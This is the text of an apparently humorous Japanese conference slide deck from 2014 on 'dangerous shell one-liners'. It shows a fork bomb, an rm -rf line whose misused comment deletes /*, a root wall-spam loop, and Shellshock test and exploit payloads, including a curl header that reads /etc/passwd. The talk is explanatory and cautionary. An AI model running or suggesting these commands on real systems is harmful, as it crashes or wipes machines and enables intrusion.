Post on 24-May-2015
description
第 1 回危険シェル芸勉強会
USP 友の会上田隆一
みなさんOSC お疲れさまでした
2014/10/19 OSC Tokyo/Fall 2014 2
しかし本日はここからが本番です
2014/10/19 OSC Tokyo/Fall 2014 3
第 1 回危険シェル芸勉強会を勝手に開催致します
2014/10/19 OSC Tokyo/Fall 2014 4
危険シェル芸とは• マウスも使わず、ソースコードも残さず、
GUI ツールを立ち上げる間もなく、
あらゆる破壊・迷惑・自滅行為を
CLI 端末へのコマンド入力一撃で終わらすこと。
2014/10/19 OSC Tokyo/Fall 2014 5
http://blog.ueda.asia/?page_id=3752
思い出す夏の危険シェル芸騒動
togetter より
大炎上 65000PV
首謀者 1
首謀者 22014/10/19 OSC Tokyo/Fall 2014 6
戦果(?)• 初日だけで見知らぬ方のマシン 3 台轟沈
• その他自爆者多数
• Docker 上で試したらホストマシン沈黙の報告
• 自分の本がサイト経由で 1 冊だけ売れた
• フォロワーが 1 人減った2014/10/19 OSC Tokyo/Fall 2014 7
本日はこの中から特に危険なのを勉強
ちゃんとマスターしましょう
2014/10/19 OSC Tokyo/Fall 2014 8
ということで Let's try!!!
2014/10/19 OSC Tokyo/Fall 2014 9
ひとつめ
:(){: | : &};:
2014/10/19 OSC Tokyo/Fall 2014 10
:(){: | : &};:
• いわゆるフォーク爆弾
• 関数「 : 」のプロセスがマシンに溢れて再起不能
• Docker 越しにホストを葬る殺傷力
2014/10/19 OSC Tokyo/Fall 2014 11
つまり一言で言うと・・・
危険2014/10/19 OSC Tokyo/Fall 2014 12
ふたつめ• シェルスクリプトにて
2014/10/19 OSC Tokyo/Fall 2014 13
rm -rf temp /* テンポラリを削除 */
出典 : @moguno さんより
rm -rf temp /* テンポラリを削除 */
• 消えるのは temp と /*
• シェルスクリプトのコメントアウトは
#
2014/10/19 OSC Tokyo/Fall 2014 14
覚えておきたいのは・・・
2014/10/19 OSC Tokyo/Fall 2014 15
危険
みっつめ
2014/10/19 OSC Tokyo/Fall 2014 16
# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done
出典 : @ryoana14 さんより
# for x in `seq 1 10000`; do wall ' 我は root 。神だ ' ; done
• 誰も端末使えないぞ!
• すごいポンポン言う!
2014/10/19 OSC Tokyo/Fall 2014 17
即ち・・・
迷惑2014/10/19 OSC Tokyo/Fall 2014 18
アーンド
2014/10/19 OSC Tokyo/Fall 2014 19
危険
世界は危険に飢えている発言
2014/10/19 OSC Tokyo/Fall 2014 20
そんなある日、一つのワンライナーが
Twitterに出回る
2014/10/19 OSC Tokyo/Fall 2014 21
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
2014/10/19 OSC Tokyo/Fall 2014 22
2014/10/19 OSC Tokyo/Fall 2014 23
2014/10/19 OSC Tokyo/Fall 2014 24
!?
$ curl -A '() { :; }; /bin/cat /etc/passwd | /usr/bin/tail -n 3'
http://localhost/index.php
2014/10/19 OSC Tokyo/Fall 2014 25
2014/10/19 OSC Tokyo/Fall 2014 26
あかんやろ2014/10/19 OSC Tokyo/Fall 2014 27
危険シェル芸で遊んでいたらシェルが危険だった
2014/10/19 OSC Tokyo/Fall 2014 28
Shellshock 後の世界
2014/10/19 OSC Tokyo/Fall 2014 29
私の
自著が危険書物扱い
2014/10/19 OSC Tokyo/Fall 2014 30
※ フォローしておくと , bash を使ってますがコマンド・ファイル・パイプが主眼で bash どっぷりというわけでもない本デス
なぜか安否を確認される
2014/10/19 OSC Tokyo/Fall 2014 31
なぜか原稿を依頼される(焼け太り)
2014/10/19 OSC Tokyo/Fall 2014 32
結論• 危険シェル芸は危険• Shellshock は危険• 人生は危険
• 安全な方が精神的・肉体的によい– 「世界は危険に飢えている」なんて言って
ごめんなさいごめんなさいごめんなさいごめんなさいごぬんなさい!
2014/10/19 OSC Tokyo/Fall 2014 33
以上。
2014/10/19 OSC Tokyo/Fall 2014 34